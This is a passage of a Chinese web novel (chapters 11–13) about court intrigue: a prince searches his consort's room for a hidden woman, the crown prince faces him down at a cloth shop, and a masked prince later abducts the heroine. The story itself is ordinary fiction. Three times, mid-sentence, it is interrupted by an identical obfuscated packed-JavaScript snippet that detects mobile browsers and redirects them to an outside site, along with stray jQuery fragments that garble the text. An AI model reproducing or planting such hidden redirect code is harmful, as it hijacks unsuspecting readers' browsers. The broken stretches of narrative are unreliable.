穆归礼对她的态度极为不爽,咬牙切齿道:“是真是假,本王一看便知!” 语毕,他抬脚便踹上纪青元小腹,同时也踹开了屋门,进门后径直往内室走去。 纪青元强忍腹痛,扶着门框尽快站起,而后踉踉跄跄地追上穆归礼的脚步。 只见他绕过屏风,狐疑地看向墙边硕大的衣柜。 两扇柜门的缝隙里,露出了一角青色衣摆。 穆归礼故意将脚步迈得很重,慢慢靠近衣柜,继而猛地拉开柜门。 可惜,结果让他失望了。 露出缝隙的一抹青色确为纪青元的衣物,只是近日丫鬟惫懒,未曾好好收拾衣柜,以至于里头的衣裙摆放得乱七八糟。 穆归礼没有放松戒备,继续在屋内踱步,同时环顾四周,连房梁各处能否藏人都要反复确认。 很快,他的目光就定在了纪青元的床上,语气带着几分阴恻恻的欣喜,仿佛毒蛇终于找到了猎物。 “爱妃尚未就寝,为何要拉上床边的帷幔?” 纪青元强装镇定,反唇相讥道:“王爷许久不来我房中,怕是早已忘了我的习惯吧?这些帷幔,本就是一天十二个时辰都拉着不动的。” 穆归礼斜睨她一眼:“是吗?” 话音未落,他已经撕开了一层帷幔。 裂帛之声一下接着一下,像钝刀子割肉,给纪青元带来长久的折磨。 穆归礼着实享受这个过程。 更期待,迎来割肉见骨的结局时刻。 11. 假青萝虎口终脱险,真太子焦心遇难题 眼看最后一层帷幔就要被撕下,纪青元把心一横,用力推开了穆归礼,眼中带着愤恨与不甘。 “王爷今夜来此,就是为了这样羞辱我吗?” 穆归礼颇为不悦地掸了掸衣袖:“本王来见见爱妃的客人,何谈羞辱?” “见客?”纪青元冷笑一声,“为了见一个丫鬟信口胡诌出来的‘客人’,王爷竟这样大费周章,跑进我屋中翻箱倒柜,东撕西扯,难道这还不算羞辱?” 穆归礼不以为然:“倘若那位‘青萝姑娘’当真不在爱妃屋中,你为何会如此心虚?” 说着,他再度迈步上前,拽住了床架上仅剩的一层帷幔。 纪青元同时伸出手去拦住他的动作,争辩道:“我只知王妃私会外男是滔天大罪,即便真有这样一位姑娘,我与她相见又犯了什么错处?有何必要遮遮掩掩?” 穆归礼甩开她的手,轻蔑道:“姑娘又如何?谁知道你们躲在内室里,都做些什么勾当!” 纪青元向床边投去一瞥,心中短暂挣扎后,决定兵行险招,不屑一笑道:“是啊,王爷向来以己度人,可不是得这么怀疑么?” 最后一道裂帛声与她的话语撞在一起,穆归礼尚未来得及细看床上光景,便已被此话激得怒火中烧,扭头恨恨看向纪青元。 “你方才,说什么?” 纪青元余光瞥见床上纷乱的锦被里有轻微异动,连忙继续道出刺人之语,好引开穆归礼的注意。 “我说得还不够清楚么?安王殿下,你自己喜好男风,做贼心虚,可不是就得以己度人,怀疑我这个有名无实的王妃,也和姑娘家有见不得人的勾当么!” 啪—— 一记用足力气的耳光甩在纪青元颊边,她不曾设防,只觉一阵天旋地转,身子便斜斜倒地。 “本王早就警告过你……”穆归礼扑过来掐住她的脖颈,“有些秘密,就算意外察觉了,也该烂在肚子里。一旦宣之于口,就只有死路一条!” 因着呼吸不畅,纪青元的脸很快就泛起痛苦的红色,可她仍然笑着,笑得穆归礼心里发毛。 “王爷,我、我知道的,可不止这点……”她抱着殊死一搏的决心,挣扎着,想给江御暮传递更多信息,“杀我之前,你、你要不要……听听我最后、最后的筹码?” 穆归礼闻言,心中尚在犹豫,手上却已放松了力度。纪青元连忙抓住机会,努力调整呼吸。 “你还知道什么?”他问。 “刘俭的死因。”她答。 穆归礼毫不在意:“是本王杀的又如何?”连皇帝都有心包庇,就算她宣扬出去,他也不怕。 “我说的,是你杀他的原因。”纪青元死死盯着他的双眼,“因为你对他爱而不得,由此生恨。” “爱?”穆归礼夷然一笑,“他配吗?” 纪青元语带嘲弄:“配也好,不配也罢,左右他的拒绝都让你恼羞成怒了,不是吗?” 穆归礼被戳穿了心思,往日之耻再度浮上心头。 不久前的某日,刘俭私下约他相见。他饶有兴致地赴约,对方却没有久留,只赠他一册亲手抄写的话本为礼。 穆归礼本以为,这是一种隐晦的暗示,暗示刘俭终于明白了他的心意,也愿意接受他的心意。 然而等穆归礼翻开了这份礼物,看到里面那些才子佳人的故事,他才明白过来——这是一种委婉的拒绝,甚至规劝。劝他“改邪归正”,将错位的爱意放回女人们身上。 刘俭,你这人是何等不识抬举,何等自寻死路!? 即便此人已经死在穆归礼手中,他的怒火仍然没有因此平息。 于是此时此刻,纪青元就成了他唯一的发泄对象。 穆归礼双手紧紧掐住她脖颈,怒不可遏道:“你还有什么筹码?说出来,就当是你的遗言了!” 纪青元没有继续挣扎,而是嗤之以鼻道:“不必了。我的遗言,自会有人代为禀报陛下。” 穆归礼一惊:“你说什么?” 纪青元不再回答,默默闭上双眼,仿佛甘心受死。 穆归礼却再度松开了双手,逼问道:“你若不把话说个明白,本王定屠你九族!” 纪青元懒懒睁开双眼,漫不经心道:“王爷的这些风流韵事,我早已当做笑话讲给了闺中秘友。只要我一命呜呼,她就会立刻将事情的来龙去脉禀报陛下。” 说着,她轻轻一笑,抬眸对上他不安的眼神,镇定自若道:“殿下你说,皇上若知道了你喜好男风,无心也无力为皇室传宗接代,那么你的争储之路,还有半分希望走到终点吗?” 穆归礼显然已经慌了神,只是表面上仍然不愿相信这番说辞:“胡扯!你父亲分明说你平日最为孤僻,何来什么朋友?就算有,也必是和你一样小门小户的女子,怎么可能有随时面圣的门路!?” 纪青元嗤地笑出了声,良久方歇,挑衅道:“好啊,那你不妨现在就杀了我,也好试一试我方才那番话是真是假。” 顿了顿,又补上一句—— “穆归礼,你敢赌吗?” 穆归礼双手微微颤抖着,环住她脖颈的手无论如何也使不上力。 他努力瞪大双眼与她对视,想从她眼中看到欺骗的影子,可是迟迟没有线索。 不,不对。自打纪青元入府以来,就鲜少与外人接触,何况刘俭才死了几天,她哪有时间把消息传递出去。 除非…… 穆归礼咬牙切齿:“你所谓的闺中密友,就是那个叫‘青萝’的女人,是不是!?” 纪青元笑着伸手拍上他的脸,将他的头向后推去。 “穆归礼,现在才想明白,已经晚了。” 语毕,她艰难地支起上半身,用眼神示意他看看几丈外的窗户。 “你方才只顾着掐我泄愤,是不是一点都未曾察觉,有人从你身后悄然而过,无声无息地翻窗离开了?” 穆归礼定睛一看,她所指的那扇窗户半掩着,有丝丝夜风吹进屋来。 他仔细回想——刚进屋时,这扇窗户是否紧闭? 记忆太过模糊,穆归礼无法确定答案。 他三步并作两步走到床边窗侧,向外望去,这才看到窗外墙根处躺着一团紧紧裹住的面纱。 穆归礼翻窗出去捡起面纱,展开后只见上面用血色的胭脂膏写着八个大字——事已知悉,万望珍重。 看来那人的确是他进屋以后才寻机逃走的,否则不会用这种方式给纪青元递话。 既然才离开不久,那么此人一定没有走远! 想到这里,穆归礼不再与纪青元纠缠,高喊着“有刺客”叫来一众护卫,与他们分头去府外寻找可疑女子。 一阵嘈杂后,院里再度归于平静。 纪青元关紧门窗,道了声“没人”,江御暮这才轻手轻脚地从锦被里爬出来,郑重对她道了声谢。 她说出的这个秘密,的确很有分量,足以死死牵制穆归礼。 纪青元打湿手帕,帮江御暮擦去脸上、颈上剩余的胭脂。中途迟疑许久,最后还是问道:“你练过武?” 江御暮不再隐瞒:“是。” “怪不得。”纪青元攥着手帕,目光虚虚落在地上,“连轻如柳絮的面纱,你都能扔得那样远,那样准……” 她忍不住叹惋:如果自己也有武艺傍身,是不是就能逃出王府,不必再受穆归礼的磋磨羞辱? 罢了,罢了。 想这些又有什么用呢?不过徒增伤感而已。 江御暮像是看穿了她的心事,柔声问道:“纪小姐,你想离开王府吗?” 纪青元自嘲一笑:“便是离开了,我也没有其他的容身之所。” 江御暮握住她的手:“你只说想或不想,别考虑那么多。” 纪青元低下头,眼泪瞬时滑落:“自然……是想的。这么多个日夜,我无时无刻不在想。” 江御暮在她面前蹲下身,抬头直视着她的双眼,坚定承诺道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12971725|136661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“我会帮你,一定会。” 纪青元怔愣片刻,才后知后觉地明白过来。 “不,你别管我!你不能管我!” 她推开江御暮的手,情绪有些激动。 “只要穆归礼还没查出你就是‘青萝’,为免秘密泄露,他就不会杀我。” “可……一旦你意图救我出去,被他发现,暴露了身份,他定会竭尽所能除掉你我二人!” 江御暮还想再劝,纪青元却不愿再听了。 “你走吧。”纪青元移开眼神,擦去泪珠,“今后万万不要再与我有什么瓜葛。” 江御暮起身退后两步,叹了声气,对她说道:“我不会把安王的秘密告诉太子。至少,在你能安稳度日的时候不会。” 否则一旦穆归衡将此事上报皇帝,皇帝势必叫穆归礼前来对质。不论结果如何,只要穆归礼知道事情已经败露,他便再无顾虑,纪青元也就无命可活了。 “随你。” 纪青元急于赶她走,因而此话语气有些冷硬。 半晌没有等到江御暮的回应,纪青元还以为是自己方才的态度惹她生厌了,连忙转过身来,想解释两句。 可是屋中已经不见江御暮的身影。 唯有那扇窗户大开着,夜风迎面吹来,使纪青元新添的两道泪痕泛起丝丝凉意。 …… 江御暮悄无声息地离开安王府,途径书铺进去换了身衣裙,匆忙赶在城门下钥之前出了京,直奔双瑛布庄而去。 穆归衡自打今日下朝便等候在此,晚间见陶瑛独自归来,本就已经把心提到了嗓子眼。 接着又听她说江御暮被安王妃单独留在府中,更觉情况不妙,顿时急成了热锅上的蚂蚁。几度想入京打探情况,陶瑛都怕他去了添乱,于是硬生生给拦了下来。 她怕自己一人拦不住他,还带上旺财一起守在门口,坚决不许穆归衡踏出房门。 争执不下之际,系统也乐得现身添乱,给穆归衡下发了新的任务:【与民争利】。 民?此时此刻,系统所指的自然是陶瑛。 利?让穆归衡与她争什么利?他现在分明连回京的时机都争不出来。 任务期限仅有十二个时辰,倒计时即刻开始。 穆归衡焦头烂额,对陶瑛死马当作活马医道:“顶撞太子是重罪,合该重罚!” 陶瑛抱臂抬头,不甘示弱道:“怎么罚?说来听听!” 穆归衡一本正经道:“罚银。” 陶瑛仿佛听了个笑话,无奈地摇摇头:“罚多少?” 穆归衡琢磨着破题之法,答道:“就罚……你们售出一匹布所赚的利钱。” 如此,就算是【与民争利】了吧? 倘若放在平时,绝对没人能从陶瑛手里抠出钱来。 今日却不然,她已经做好了秋后算账的准备。 “行,我去房里给你取银子。等御暮回来了,我倒要让她评评理!” 话音才落,院中就响起江御暮温柔轻笑的声音,由远及近。 “让我评什么理呀?” 穆归衡见她回来了,连忙起身相迎,跑得比旺财还快。 等站定在她身前,又没来由地语塞起来,不知该说些什么好。 “御暮,你没事吧?”还是陶瑛替他开了口,“安王妃可曾为难你?” 旺财也在一旁“呜呜”叫着,不知是欢迎还是发问。 江御暮删繁就简,大致讲明了在安王府里的所见所闻,但并未讲明穆归礼的“秘密”,只说他有把柄握在纪青元手中。 讲述期间,陶穆二人听得心惊肉跳,以至于一个忘了找她评理,一个忘了完成任务。 “总之,现在已经可以确定,安王穆归礼就是咱们要找的蒙面歹人。” 还未来得及多说一句,就有小厮匆匆来报。 “启禀殿下!启禀夫人!外、外面……安王殿下也来了,说是要找咱们布庄的‘青萝’姑娘!” 12. 奸王爷诳语惹是非,厉太子问罪岂无…… 小厮委实不解,双瑛布庄何曾有过“青萝”这么一号人? 可是既然安王亲自来找,他也不能不通传啊。 陶瑛道一声:“知道了,去请安王殿下在前厅稍候,我即刻就来。” 打发走小厮,她面上才显出愁云,拧眉叹道:“他怎么这么快就找来了……” 江御暮想了想:“那老管家知道咱们是双瑛布庄的人,肯定会告诉他的。他带着护卫在王府附近搜寻无果,也只能顺着这条线索继续追查了。” 陶瑛轻握她手腕,安顿道:“你可千万藏好了,别被安王发现,我去会会他。” 江御暮有些担心:“你一个人行吗?” “放心吧。”陶瑛舒眉一笑,“我若实在扛不住,不是还能搬出太子殿下来平事嘛!” …… 待陶瑛来到前厅,这里已经跪满了人。 穆归礼翘着二郎腿,坐在主座上喝茶,听到她行礼也没有抬眼,只将茶碗重重放在桌上,发出令人心惊的响声。 方才小厮扛不住他的威压,已将布庄的名册取来给他看过了,上面的确登记过“青萝”其人,不过是前一天晚上刚刚登记的。 穆归礼直勾勾盯着陶瑛,冷声命令道:“跪近一点。” 陶瑛起身朝他走几步,再度跪下。 穆归礼不甚满意,接着发出命令:“再近一点,别站,就跪着走。” 陶瑛面不改色地照做。 穆归礼这才满意一笑,向后舒舒服服地靠在椅背上,抬起一只脚踩住陶瑛的肩膀,居高临下道:“本王要找的人呢?” 不等陶瑛回答,几丈外便传来“汪汪”的犬吠声,听着似有几分怒气。 穆归礼下意识循声望去,只见黑暗里疾速冲出一只体型颇大的狼犬,径直向他扑来。 极短的时间内,他来不及掏出暗器制服狼犬,只得起身躲避。 那狼犬对准他踩在陶瑛肩上的脚,张嘴便咬,可惜他躲得快,扑了个空。 陶瑛故作姿态呵斥道:“旺财放肆!还不快回来,给殿下赔罪!” 旺财紧挨着陶瑛,护在她身前一动不动,呲着牙对穆归礼发出几声怪叫。 穆归礼兴师问罪的气势,在听到“旺财”之名后,顿时折了一半。 他认得这是太子的狗。 但他没想到,竟会在双瑛布庄看到它。 难道……陶瑛和她手下的青萝,都是太子的人?! 这无疑是最坏的一种结果,但凡有一丝其他可能,穆归礼都不愿意这样相信。 无论如何,他现在绝不能主动提起太子,只能佯装不知他与双瑛布庄存在千丝万缕的联系。 否则只要穆归礼向陶瑛发难,就有公然与太子作对之嫌,再也无法维持表面上兄友弟恭的和谐状态。 “启禀殿下。”陶瑛安抚住蓄势待发的旺财,悠悠开口道,“青萝今日随臣妇叩访王府,被安王妃私下召见,直至此刻仍未回到布庄。臣妇也觉得奇怪,莫不是这丫头冲撞了安王妃,被发落了?” “没有回来?”穆归礼并不相信这番说辞,“既然如此,那你不妨说说,她是哪家的姑娘,居所位于何处?本王乐善好施,急人所急,自会派护卫帮你寻她回来。” 陶瑛了无遽容:“多谢殿下关怀。只是青萝福薄,一无亲眷,二无家宅,被臣妇收留以后,一直住在布庄之内。” 穆归礼抬脚欲向她走近,然而刚迈出半步,就被旺财的两声大吼推了回去。 他自觉丢了面子,垂眸看看满地跪着的众人,更是恼怒,难以抑制地怀疑他们都在心里嘲笑自己。 好,很好。 等找到合适的时机,他必定将他们全部灭口。 但是此时此刻,他也只能暂且收敛锋芒,藏起心中的杀意。 为显师出有名,穆归礼还编了个像模像样的借口:“今夜王妃有贵重首饰失窃,怀疑窃贼就是青萝。既然她久居布庄之内,那便有劳陶夫人为本王带路,去她的房间搜查一番吧。” 陶瑛反应很快,婉言拒绝:“怪不得青萝今夜一直不回布庄,原来是偷了王妃的首饰,不敢回来!这妮子鬼精鬼精的,必不会把赃物藏在屋内。殿下莫急,民妇明日一早便入京报官,必把那手脚不干净的贼人捉拿归案!” 穆归礼并不理会她转移话题的手段,坚持道:“纵然搜不到赃物,也未必搜不到其他线索。陶夫人这样拖延阻拦,是有什么心虚之处么?若真如此,本王可要连你的卧房一起搜查了!” “谁敢擅动!” 听到此语,穆归礼脊背一僵。 不用回头看也知道,说话之人必是太子穆归衡。 陶瑛率先高声道:“参见太子殿下。” 其余诸人紧随庄主夫人之后,异口同声道了参见。 穆归礼还不想这么早就与太子撕破脸,只得强忍心中不悦,转身下拜行礼。 紧接着,又装出一副惊讶的样子,睁大双眼道:“太子殿下怎么也在这里?” 穆归衡没有回答,让众人平身,只留陶瑛与穆归礼在场。 旺财绕着他转了几圈,又是一副温顺样子,与方才瞪眼狂吠的“恶犬”判若两狗。 穆归衡坐上主座,摸一摸旺财的脑袋,随手取来穆归礼喝过的茶碗,喂它喝了几口水,这才抬眼。 “安王妃丢了什么首饰?”他正颜厉色问道。 穆归礼自知言多必失,便挑了个最笼统、最简单的答案:“劳太子殿下关心,她只丢了个翡翠镯子。” 穆归衡追问:“那镯子是什么色、什么种、内径几何、条宽多少?” 这一连串的问题使穆归礼脑仁发懵,硬着头皮现编,尽量往贵里形容道:“满阳绿,正冰种,内径与条宽……臣倒有些记不清了。” 穆归衡点点头,又问:“这种成色的镯子,想必价值不菲,是安王妃从娘家带来的嫁妆?还是你特意买给她的厚礼?” 穆归礼沉思细想—— 说是嫁妆肯定不行。谁都知道他的王妃出身于小门小户,陪不出如此贵重的嫁妆。 说是他买的礼物也颇为不妥。鬼知道太子会不会继续追问此镯购于何时、何处、何价、何店。倘若他一不留神,答案露出什么破绽,那就不好了。 “都不是。”穆归礼只能如此回答,“是臣成婚之时,旁人所赠的贺礼。至于具体是谁所赠,臣也不太记得。那日一热闹起来就生乱,连礼单都被泼了酒水,未曾保留下来。” 这个答案总能做到天衣无缝,不给对方留出追问的余地了吧?他想。 穆归衡却没有让他如愿,眼神变得锐利起来:“哦?礼单未曾保留下来?还是说……你不敢把它保留下来?” 穆归礼不知自己胡编的说辞又踩到了什么雷,连忙摆出一副无辜神情:“太子殿下此言何意?” 穆归衡用审视的目光打量着他:“无论是谁,如此贵重的首饰,说送就送。本宫怎么觉得,此人不像随礼,倒像行贿呢?” 说着,他重重一拍桌面,声音变得更为严厉。 “穆归礼,你给本宫据实回话!你可曾借婚宴之契机索贿敛财,卖官鬻爵!?” 穆归 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12983679|136661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 礼连忙下跪,抬起头,祈求般望着穆归衡。 望着这个比自己晚生一年,如今却高高在上,反压兄长一头的年轻太子……叫他怎能不妒!怎能不恨? “臣绝不敢如此行事,请太子殿下明鉴!” 对此,其实兄弟二人都心如明镜——所谓受贿敛财,不过是莫须有的罪名。但权大一级压死人,被压的那个也只能拼命自证清白了。 穆归衡轻声一笑,状似漫不经心道:“既然如此,本宫就再给你一个机会,好好回答问题——安王妃今夜究竟丢了什么首饰?” 穆归礼在心中暗自冷笑。 呵,归根结底,他还是为了保护青萝!而她,果然是太子的人! 奈何眼下情势所迫,穆归礼只有一条路可走。 他垂头丧气:“回禀殿下,是臣记错了……今夜,府内并未失窃。” 穆归衡满意地点点头:“既然无罪,就免礼平身吧。” 穆归礼强压心头怨怼,谢完恩正要起身,却忽然发觉,此刻连太子脚下的恶犬旺财都坐得板正,高他一头。 藏在袖管之中的双拳紧紧攥起,穆归礼暗自发誓,迟早有一天,他会将眼前这个嚣张跋扈的五弟踩在脚下,连同那狗仗人势的孽畜一起杀了泡酒! 然而生在皇家,心口不一已经是人人都熟练掌握的基本功了。 穆归礼起身赔笑道:“既然今日之事都是一场误会,那臣就先行告退了?” “等等。” 穆归衡理一理衣褶,起身走近他几步,负手道:“你刚才不是问,本宫为什么会出现在此处吗?” 穆归礼连忙请罪:“是臣冒昧。” 穆归衡给陶瑛使了个眼色,示意她尽力配合,继而接着说道:“本宫是来跟陶夫人谈生意的,打算用一块碎银,买下整个双瑛布庄。可惜交易正推进到关键时刻,就被你给打扰了。” 穆归礼将头埋得更低:“是臣之错。” 穆归衡当着他的面,从荷包里取出一块碎银子递给陶瑛:“既然现在已无人打扰,那么,交易继续。” 陶瑛双手接过碎银,并取下腰间的钥匙串交给穆归衡:“启禀殿下,这是布庄各库的钥匙。从今以后,您就是新的庄主了。” 语毕,系统提示音随之响起:“任务【与民争利】已完成。” 穆归衡微不可察地松了口气,御暮姑娘出的这个主意还真有用,改日可得好好谢谢她! 接着,他又扭头告诫穆归礼:“从此刻开始,双瑛布庄就是本宫的地盘了。你若再敢上门生事,闹着要进后宅搜查,便等同于强闯太子府邸,本宫绝不轻饶!” 穆归礼微微咬牙:“是,臣……再也不敢了。” 目送他灰头土脸地离开以后,穆归衡将钥匙串还给了陶瑛。 陶瑛拍着胸口长出一口气:“呼——总算熬过这关了。走走走,带上御暮,咱仨吃点夜宵去,就当压惊了。” 穆归衡摇摇头:“本宫没胃口,御暮也早就回京了,你自己吃吧。” 陶瑛疑道:“这大晚上的,你怎么也不留留人家!在这住一晚也好,由你送回去也好,总比让她一个人走夜路安全多了吧?” “她坚持要提前回去,有石涅陪着,无事。” 然而穆归衡眉头紧缩,怎么看也不像真的无事。 陶瑛这才想起来问:“她急着回京,是出什么事了吗?” 穆归衡深吸一口气,又缓缓吐出,平静的语气却难掩眸中忧虑。 “她说,她要赶在穆归礼回京之前回到家中,等着他再度夜闯尚书府。” 13. 黠小姐拒赴太子约,刁王爷挟质求新…… 其实,江御暮并不十足确信穆归礼会来。 她只是觉得,既然他今夜在太子面前吃了瘪,就一定会以其他方式找回心理平衡。 那么,还有什么方式比挖太子的墙角更合适呢? 事实证明,她果然没有猜错。 刚过亥时,她书桌旁的窗户就被半枚黑棋击开一条窄缝,力度不算大,棋子斜斜坠落在地,发出细微响动。 江御暮佯装未觉,继续埋头看书。片刻工夫后,第二发半枚黑棋直接打在了书页中间。 她抬头望去,只见蒙面人从外侧推开窗户,将小半个身子都探进了屋内。 “看什么书呢?如此入神。”是穆归礼的声音,不会有错。 “闲书而已。”江御暮把书放在一边,“你怎么又来了?” 蒙面人惺惺作态:“这次见面,江小姐竟然不再对本王持刀剑相向,当真可喜可贺。” 江御暮似笑非笑:“既然你已经不打算杀我了,我又何必将你视如寇仇呢?不论你是哪位王爷,多个朋友多条路,总不会有错。” 蒙面人心中暗喜,拊掌道:“江小姐果然极识时务,看来,你已经证实了我那日提醒你的话,是么?” 江御暮发出一声冷哼,神情稍显恼怒:“太子果然是个病秧子,咳血之症药石无医!真枉我在他身上浪费这许多时间……” 蒙面人听得痛快,忍不住哈哈大笑起来。 江御暮随手抓起一支毛笔,扔在他面具上,不悦斥道:“小点声笑!你若把家丁招来,叫我怎么解释得清楚!?” 蒙面人不急不恼,从容翻窗进屋,将那支毛笔重新挂在笔架上,靠近她低声道:“解释不清,索性就别解释了呗!” 江御暮用两根手指抵住他胸膛,阻止他继续靠近:“你此言何意?” 蒙面人轻轻握住她的手指,摩挲两下:“江小姐忘了?上次见面时,本王已经为你指明了另一条可选之路——只要你愿意嫁给本王,将来一样有机会变成太子妃,甚至皇后,成为这世间最尊贵的女子!” 江御暮一想到穆归礼明明喜好男风,还要在这里装模作样地求娶新妇,就忍不住在心里暗笑。 为了争储,攫取一切可利用的资源,他也真够豁得出去的。 江御暮收回手,撑着下巴假装猜道:“看你的年龄和身形,想来要么是定王穆归源,要么是安王穆归礼吧?” 蒙面人也不遮掩:“江小姐猜得不错,本王的确是这二者之一。” 江御暮冷笑:“我若没记错,这两位王爷,不是都已经有正牌王妃了吗?” 蒙面人不屑一哂:“德不配位之人,迟早要把位置让给别人坐的。” 语毕,他还用手背蹭了蹭江御暮的脸,安抚道:“放心,江小姐堂堂尚书之女,文武双全,德才兼备,本王怎么可能委屈你做妾呢?” 江御暮挡开他的手:“那就先休了妻,再来找我吧。你若能摆出足够的诚意,将来的夺嫡之路上,家父与我自会全力相助。” 穆归礼若真愿意照做,纪青元应该就能得到解脱了吧。 蒙面人沉默片刻,才假笑道:“休妻不难。可万一本王按照约定休了妻,江小姐却临时反悔,不愿嫁与本王为妃,那可如何是好?” “啰嗦。”江御暮起身倒了两杯茶,递给蒙面人一杯,“除了你,我现在还有更好的选择吗?” 蒙面人就着她的手喝了半杯茶,笑道:“口说无凭,江小姐不妨先给本王交出一份投名状?” “什么投名状?” 蒙面人呵呵一笑:“江小姐毕竟与太子有过一段前缘,若不彻底斩断这条后路,本王如何能全心全意地信任你呢?” 江御暮面露好奇:“怎么斩?难不成,你要我公然与太子决裂么?” “不不不,那可不行。”蒙面人摇头道,“你非但不能与太子决裂,还得继续对他虚与委蛇,进一步获取他的信任,而后……” 他说到一半,忽然又住了口。 “而后如何?”江御暮还以为他是在卖关子,于是出言催问。 蒙面人扶了扶面具,蓦然变得严肃起来:“现在还不是商议此事的时候。江小姐心无挂碍,又怎么会老老实实地替本王保守秘密呢?” 秘密? 又是秘密? 他哪来的那么多秘密? 江御暮正待追问,蒙面人就后退两步,意味深长道:“江小姐再耐心等等吧,倘若不出意外,明日就可以与本王共商此事了。” 语毕,他飞身从窗户离开,刹那间不见了踪影。 江御暮心中隐隐有一种不祥的预感。 若将穆归礼方才那番话反过来理解,不就是“唯有让江御暮心存挂碍,她才能老老实实地替他保守秘密”么? 可是,她能有什么挂碍? 亡国宗室的出身? 不,穆归礼不可能知道此事。 否则,他要么立即上报皇帝,借此争功,顺便狠踩太子一脚;要么直接捏死这个把柄,与她谈判博弈。 总归不会像刚才那样,犹豫许久,还把后半截话咽了回去。 否定这个答案后,江御暮轻松了些,继续思考自己能有什么“挂碍”。 难道……是枕闲书铺? 不,这也说不通。 就算这间铺子被安王掐住命脉,大不了暂时弃店不开就是了,左右她也不靠这个吃饭。 江御暮思来想去,排除了许多选项,最后只留下一个答案—— 家人。 不论是身居涵州的家人,还是留在京城的家人,只要穆归礼随便将其中一人捏在手里,她就不得不多退让几分,依照他的心意行事。 但问题就在于——穆归礼有那个本事吗? 江御暮持怀疑态度。 不过,既然他说明日即可共商此事,那她就好好等着。 “穆归礼……” 江御暮从书中、地上分别拿起他掷来的半枚棋子,拼成一枚完整的黑棋,走到窗边抬起手,让它盖住高悬天际的凸月。 “你可不要让我失望啊。” 手指用力一捻,棋子霎时化作齑粉,如雪如雾,消逝于冷飕飕的夜风之中。 次日一早,江御暮依例去看店。 春雨淅淅沥沥,时而密,时而疏,下也下不痛快。 早朝后,石涅领命来请江御暮入府。 “听我们殿下的意思,好像是您昨日帮了他什么大忙,他还没来得及谢您。” 江御暮笑笑:“劳烦转告你们殿下,我昨日不过随口出了个主意,算不得出力多少,叫他不必挂怀,道谢也免了吧。” 石涅一愣:“那、那江小姐,您的意思是……您不去?” 这怎么话说的! 石涅今早之所以抢着领这个接人的差事,就是觉得这活既轻松,又能讨太子殿下欢心。 他哪里能想到,还存在太子邀约被拒,护卫接不到人的可能! 江御暮倒是帮他找了个借口:“我昨夜受了风,今早又淋了点雨,此刻已然有些发热,估摸着得病一场。带病之人,还是不去拜见太子殿下为好。” 说着说着,还咳嗽两声。 石涅信以为真,连忙关照两句“注意身体”,又劝江御暮歇业一日,尽早回府休养。 江御暮点点头:“我清完这两日的帐便回。” 石涅这才稍稍放心,忙不迭回府给太子报信去了。 午后雨势渐大,街上少有行人。卖茶的小姑娘红霞又来书铺躲雨,将前段时间新认的字一个一个写给江御暮看。 “姐姐你瞧,我的字可有长进?” 江御暮正在归置穆归衡遣人送来的名贵药材,闻言移步到桌旁,一边摸着红霞柔软的头发,一边认真检查她写下的每一个字。 “不错,很有长进。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13003113|136661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 红霞莞尔一笑,拉住江御暮的手,正打算央她今日再多教几个字,却被突然出现在门口的黑影吓了一跳。 雨天光线本就昏暗,只能靠屋内的几盏油灯照明,那人又是一身黑衣黑斗篷,面具也暗沉沉的,看着委实令人心惊。 红霞下意识攥紧江御暮的衣袖,紧紧靠在她怀里,不敢朝那神秘来客多看一眼。 蒙面人收起伞走进书铺,雨水顺着伞身汇成涓涓细流,落在地上映出一潭虚影。 “又有客人啊?江小姐。”他语带戏谑,“不知今日方不方便,咱们借一步说话?” 江御暮原本就在等他,为此还推了太子的邀约,自然没有什么不方便的。 红霞却仿佛对他有着天然的敌意,牵着江御暮的两只手悄悄用劲,把她往后拉。 江御暮拍拍红霞的脑袋,弯腰微笑道:“红妹,姐姐出去一趟,你帮姐姐看一会店,好不好?” 红霞摇摇头:“姐姐,我怕……” 童龄之人总是擅长幻想——她当然不是害怕帮忙看店,而是害怕江御暮被这个浑身散发危险气息的蒙面人带走,自此有去无回。 蒙面人已经有些不耐烦了,半枚棋子在指间搓来捻去,仿佛随时就要掷出。 “吓唬孩子算什么本事?”江御暮把红霞护在身后,对他说道,“我跟你走就是了。” “等等。”蒙面人抬手示意她不必心急,接着勾勾手,“过来,我帮你蒙上眼睛。” 江御暮会意,挑眉道:“看来你‘借’的这一步,比我预想的远很多啊?” 不但距离远,而且还不许她知道前往目的地的路线。 蒙面人取出一条黑绸,不由分说地蒙住她的双眼。 “放心,远不远的,跟我走就是了。”语毕,还透过面具上的孔洞狠狠剜红霞一眼,警告她不要生事。 红霞自知无力阻拦,只能眼睁睁看着江御暮被那蒙面人带走。 